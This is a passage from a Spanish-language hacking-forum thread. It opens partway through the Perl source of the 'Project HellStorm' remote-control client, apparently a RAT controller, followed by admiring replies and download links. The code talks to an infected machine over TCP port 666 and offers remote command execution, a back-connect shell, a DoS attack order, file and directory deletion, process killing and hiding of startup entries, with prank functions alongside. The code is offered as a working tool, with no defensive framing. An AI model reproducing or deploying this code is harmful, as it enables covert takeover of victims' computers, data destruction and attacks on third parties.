  96.             print "[+] OS : $5\n";
  97.             print "\n[+] Press any key to continue\n";
  98.             <stdin>;
  99.         }
  100.         &menuo( $_[0] );
  101.     }
  102.     elsif ( $opcion eq 2 ) {
  103.  
  104.       menu1:
  105.         print "\n\n[+] Files Manager\n\n";
  106.         $cwd = daryrecibir( $_[0], "getcwd" . "\r\n" );
  107.         show( $_[0], "/" );
  108.         &menu2;
  109.  
  110.         sub menu2 {
  111.             print "\n\n[Options]\n\n";
  112.             print "1 - Change directory\n";
  113.             print "2 - Rename\n";
  114.             print "3 - Delete File\n";
  115.             print "4 - Delete Directory\n";
  116.             print "5 - Return to menu\n\n";
  117.             print "[Opcion] : ";
  118.             chomp( my $op = <stdin> );
  119.  
  120.             if ( $op eq 1 ) {
  121.                 print "\n\n[+] Directory : ";
  122.                 chomp( my $dir = <stdin> );
  123.                 $ver = daryrecibir( $_[0], "chdirnow K0BRA" . $dir . "K0BRA" );
  124.                 if ( $ver =~ /ok/ig ) {
  125.                     print "\n\n[+] Directory changed\n\n";
  126.                 }
  127.                 else {
  128.                     print "\n\n[-] Error\n\n";
  129.                     <stdin>;
  130.                 }
  131.                 show( $_[0], $dir );
  132.                 &menu2;
  133.                 print "\n[+] Press any key to continue\n";
  134.                 <stdin>;
  135.             }
  136.  
  137.             elsif ( $op eq 2 ) {
  138.                 print "\n\n[+] Name : ";
  139.                 chomp( my $old = <stdin> );
  140.                 print "\n\n[+] New name : ";
  141.                 chomp( my $new = <stdin> );
  142.                 $re = daryrecibir( $_[0], "rename :$old:$new:" );
  143.                 if ( $re =~ /ok/ ) {
  144.                     print "\n\n[+] File renamed\n\n";
  145.                 }
  146.                 else {
  147.                     print "\n\n[-] Error\n\n";
  148.                 }
  149.                 print "\n[+] Press any key to continue\n";
  150.                 <stdin>;
  151.             }
  152.  
  153.             elsif ( $op eq 3 ) {
  154.                 print "\n\n[+] File to delete : ";
  155.                 chomp( my $file = <stdin> );
  156.                 $re =
  157.                   daryrecibir( $_[0], "borrarfile K0BRA" . $file . "K0BRA" );
  158.                 if ( $re =~ /ok/ ) {
  159.                     print "\n\n[+] File deleted\n\n";
  160.                 }
  161.                 else {
  162.                     print "\n\n[-] Error\n\n";
  163.                 }
  164.                 print "\n[+] Press any key to continue\n";
  165.                 <stdin>;
  166.             }
  167.  
  168.             elsif ( $op eq 4 ) {
  169.                 print "\n\n[+] Directory to delete : ";
  170.                 chomp( my $file = <stdin> );
  171.                 $re = daryrecibir( $_[0], "borrardir K0BRA" . $file . "K0BRA" );
  172.                 if ( $re =~ /ok/ ) {
  173.                     print "\n\n[+] Directory deleted\n\n";
  174.                 }
  175.                 else {
  176.                     print "\n\n[-] Error\n\n";
  177.                 }
  178.                 print "\n[+] Press any key to continue\n";
  179.                 <stdin>;
  180.             }
  181.  
  182.             elsif ( $op eq 5 ) {
  183.                 &menuo( $_[0] );
  184.  
  185.             }
  186.             else {
  187.                 show( $_[0], "/" );
  188.             }
  189.             goto menu1;
  190.         }
  191.     }
  192.  
  193.     elsif ( $opcion eq 3 ) {
  194.         daryrecibir( $_[0], "opencd" );
  195.         print "\n[+] Press any key to continue\n";
  196.         <stdin>;
  197.         &menuo( $_[0] );
  198.     }
  199.  
  200.     elsif ( $opcion eq 4 ) {
  201.         daryrecibir( $_[0], "closedcd" );
  202.         print "\n[+] Press any key to continue\n";
  203.         <stdin>;
  204.         &menuo( $_[0] );
  205.     }
  206.  
  207.     elsif ( $opcion eq 5 ) {
  208.         print "\n\n[+] Talk : ";
  209.         chomp( my $talk = <stdin> );
  210.         $re = daryrecibir( $_[0], "speak :$talk:" );
  211.         print "\n[+] Press any key to continue\n";
  212.         <stdin>;
  213.         &menuo( $_[0] );
  214.     }
  215.  
  216.     elsif ( $opcion eq 6 ) {
  217.         print "\n[+] Message : ";
  218.         chomp( my $msg = <stdin> );
  219.         daryrecibir( $_[0], "msgbox $msg" );
  220.         print "\n[+] Press any key to continue\n";
  221.         <stdin>;
  222.         &menuo( $_[0] );
  223.     }
  224.     elsif ( $opcion eq 7 ) {
  225.  
  226.       menu:
  227.  
  228.         my $cmd, $re;
  229.  
  230.         print "\n\n>";
  231.  
  232.         chomp( my $cmd = <stdin> );
  233.  
  234.         if ( $cmd =~ /exit/ig ) {
  235.             print "\n[+] Press any key to continue\n";
  236.             <stdin>;
  237.             &menuo( $_[0] );
  238.         }
  239.  
  240.         $re = daryrecibir( $_[0], "comando :$cmd:" );
  241.         print "\n" . $re;
  242.         goto menu;
  243.         &menuo( $_[0] );
  244.     }
  245.     elsif ( $opcion eq 8 ) {
  246.         daryrecibir( $_[0], "iniciochau" );
  247.         print "\n[+] Press any key to continue\n";
  248.         <stdin>;
  249.         &menuo( $_[0] );
  250.     }
  251.     elsif ( $opcion eq 9 ) {
  252.         daryrecibir( $_[0], "iniciovuelve" );
  253.         print "\n[+] Press any key to continue\n";
  254.         <stdin>;
  255.         &menuo( $_[0] );
  256.     }
  257.     elsif ( $opcion eq 10 ) {
  258.         daryrecibir( $_[0], "iconochau" );
  259.         print "\n[+] Press any key to continue\n";
  260.         <stdin>;
  261.         &menuo( $_[0] );
  262.     }
  263.     elsif ( $opcion eq 11 ) {
  264.         daryrecibir( $_[0], "iconovuelve" );
  265.         print "\n[+] Press any key to continue\n";
  266.         <stdin>;
  267.         &menuo( $_[0] );
  268.     }
  269.  
  270.     elsif ( $opcion eq 12 ) {
  271.  
  272.         &reload( $_[0] );
  273.  
  274.         sub reload {
  275.  
  276.             my @pro;
  277.             my @pids;
  278.  
  279.             my $sockex = new IO::Socket::INET(
  280.                 PeerAddr => $_[0],
  281.                 PeerPort => 666,
  282.                 Proto    => 'tcp',
  283.                 Timeout  => 5
  284.             );
  285.  
  286.             print $sockex "mostrarpro" . "\r\n";
  287.             $sockex->read( $re, 5000 );
  288.             $sockex->close;
  289.  
  290.             chomp $re;
  291.  
  292.             print "\n\n[+] Process Found\n\n";
  293.  
  294.             while ( $re =~ /PROXEC(.*?)PROXEC/ig ) {
  295.                 if ( $1 ne "" ) {
  296.                     push( @pro, $1 );
  297.                 }
  298.             }
  299.  
  300.             while ( $re =~ /PIDX(.*?)PIDX/ig ) {
  301.                 if ( $1 ne "" ) {
  302.                     push( @pids, $1 );
  303.                 }
  304.             }
  305.  
  306.             $cantidad = int(@pro);
  307.  
  308.             for my $num ( 1 .. $cantidad ) {
  309.                 if ( $pro[$num] ne "" ) {
  310.                     print "\n[+] Process : " . $pro[$num] . "\n";
  311.                     print "[+] PID : " . $pids[$num] . "\n";
  312.                 }
  313.             }
  314.  
  315.             print q(
  316.  
  317. [Options]
  318.  
  319.  
  320. 1 - Refresh list
  321. 2 - Close process
  322. 3 - Return to menu
  323.  
  324. );
  325.  
  326.             print "\n[Option] :  ";
  327.             chomp( my $opc = <stdin> );
  328.  
  329.             if ( $opc =~ /1/ig ) {
  330.                 &reload( $_[0] );
  331.             }
  332.             elsif ( $opc =~ /2/ig ) {
  333.                 print "\n[+] Write the name of the process : ";
  334.                 chomp( my $numb = <stdin> );
  335.                 print "\n[+] Write the PID of the process : ";
  336.                 chomp( my $pid = <stdin> );
  337.                 $re = daryrecibir( $_[0],
  338.                     "chauproce K0BRA" . $pid . "K0BRA" . $numb . "K0BRA" );
  339.                 if ( $re =~ /ok/ig ) {
  340.                     print "\n\n[+] Proceso killed\n\n";
  341.                 }
  342.                 else {
  343.                     print "\n\n[-] Error\n\n";
  344.                 }
  345.                 print "\n[+] Press any key to continue\n";
  346.                 <stdin>;
  347.                 &reload( $_[0] );
  348.             }
  349.             elsif ( $opc =~ /3/ig ) {
  350.                 print "\n[+] Press any key to continue\n";
  351.                 <stdin>;
  352.                 &menuo( $_[0] );
  353.             }
  354.             else {
  355.                 &reload;
  356.             }
  357.         }
  358.     }
  359.  
  360.     elsif ( $opcion eq 13 ) {
  361.         print "\n\n[+] IP : ";
  362.         chomp( my $ip = <stdin> );
  363.         print "\n\n[+] Port : ";
  364.         chomp( my $port = <stdin> );
  365.         print "\n\n[+] Connected !!!\n\n";
  366.         $re = daryrecibir( $_[0], "backshell :$ip:$port:" );
  367.     }
  368.     elsif ( $opcion eq 14 ) {
  369.         print "\n\n[+] IP : ";
  370.         chomp( my $ipx = <stdin> );
  371.         print "\n\n[+] Port : ";
  372.         chomp( my $por = <stdin> );
  373.         print "\n\n[+] Count : ";
  374.         chomp( my $count = <stdin> );
  375.         print "\n\n[+] Command Send !!!!\n\n";
  376.         daryrecibir( $_[0], "dosattack :$ipx:$por:$count:" );
  377.         print "\n[+] Press any key to continue\n";
  378.         <stdin>;
  379.         &menuo( $_[0] );
  380.     }
  381.     elsif ( $opcion eq 15 ) {
  382.         print "\n\n[+] Image with format BMP : ";
  383.         chomp( my $id = <stdin> );
  384.         daryrecibir( $_[0], "cambiarfondo $id" );
  385.         print "\n[+] Press any key to continue\n";
  386.         <stdin>;
  387.         &menuo( $_[0] );
  388.     }
  389.     elsif ( $opcion eq 16 ) {
  390.         print "\n\n[+] Text : ";
  391.         chomp( my $tx = <stdin> );
  392.         daryrecibir( $_[0], "word :$tx:" );
  393.         print "\n[+] Press any key to continue\n";
  394.         <stdin>;
  395.         &menuo( $_[0] );
  396.     }
  397.     elsif ( $opcion eq 17 ) {
  398.         daryrecibir( $_[0], "crazymouse" );
  399.         print "\n[+] Press any key to continue\n";
  400.         <stdin>;
  401.         &menuo( $_[0] );
  402.     }
  403.     elsif ( $opcion eq 18 ) {
  404.         print "\n\n[Logs]\n\n";
  405.         $re = daryrecibir( $_[0], "verlogs" );
  406.         print $re. "\n\n";
  407.         print "\n[+] Press any key to continue\n";
  408.         <stdin>;
  409.         &menuo( $_[0] );
  410.     }
  411.     elsif ( $opcion eq 19 ) {
  412.         &menu;
  413.     }
  414.     elsif ( $opcion eq 20 ) {
  415.         print "\n[+] Press any key to continue\n";
  416.         <stdin>;
  417.         exit 1;
  418.     }
  419.     else {
  420.         &menuo;
  421.     }
  422. }
  423.  
  424. sub daryrecibir {
  425.  
  426.     my $sockex = new IO::Socket::INET(
  427.         PeerAddr => $_[0],
  428.         PeerPort => 666,
  429.         Proto    => 'tcp',
  430.         Timeout  => 5
  431.     );
  432.  
  433.     print $sockex $_[1] . "\r\n";
  434.     $sockex->read( $re, 5000 );
  435.     $sockex->close;
  436.     return $re . "\r";
  437. }
  438.  
  439. sub show {
  440.  
  441.     my $re = daryrecibir( $_[0], "getcwd" . "\r\n" );
  442.     print "\n\n[+] Directory : $re\n\n";
  443.     $re1 = daryrecibir( $_[0], "dirnow ACATOY" . $re . "ACATOY" . "\r\n" );
  444.     print "\n\n[Directories found]\n\n";
  445.     while ( $re1 =~ /DIREX(.*?)DIREX/ig ) {
  446.         if ( $1 ne "" ) {
  447.             print "[+] $1\n";
  448.         }
  449.     }
  450.  
  451.     print "\n\n[Files found]\n\n";
  452.  
  453.     while ( $re1 =~ /FILEX(.*?)FILEX/ig ) {
  454.         if ( $1 ne "" ) {
  455.             print "[+] $1\n";
  456.         }
  457.     }
  458.  
  459. }
  460.  
  461. #The End ?
  462.  

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
« Última modificación: Octubre 23, 2015, 10:21:24 pm por Doddy »

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5428
  • Actividad:
    35%
  • Reputación 33
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #1 en: Octubre 23, 2015, 10:21:35 pm »
Muy bueno @Doddy!!! Excelente proyecto!
Espero que siga creciendo! Tienes muchisimo potencial! Felicitaciones!!

Saludos!
ANTRAX


Desconectado francoichi

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
  • El sol no calienta por igual en todas las cabezas
    • Ver Perfil
  • Skype: norane98
« Respuesta #2 en: Diciembre 29, 2015, 09:38:35 pm »
Hola.

Verdaderamente interesante el Project HellStorm. ¿Tienes pensado hacer remake al programa para que tenga mas funciones? Estaría interesante agregarle algunas cosillas mas.
¿Sabes cuál es el problema? Imaginarte el logaritmo y no programarlo.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« Respuesta #3 en: Diciembre 29, 2015, 10:10:59 pm »
Hola.

Verdaderamente interesante el Project HellStorm. ¿Tienes pensado hacer remake al programa para que tenga mas funciones? Estaría interesante agregarle algunas cosillas mas.

En realidad no me gustaria que editaras mi codigo para un "remake" , pero si , si va haber una nueva version.

Saludos.

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 3342
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1603
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Counter Strike 1.6 Servers List

Iniciado por BigBear

Respuestas: 0
Vistas: 1224
Último mensaje Noviembre 12, 2012, 07:32:11 pm
por BigBear
[Perl] Search in google for scan SQLI

Iniciado por BigBear

Respuestas: 0
Vistas: 1388
Último mensaje Julio 03, 2011, 09:49:49 pm
por BigBear
DoSing IP 1.0 - [Creado por SkillmaX] + Source [PERL]

Iniciado por SkillmaX

Respuestas: 0
Vistas: 1472
Último mensaje Julio 04, 2010, 10:14:31 am
por SkillmaX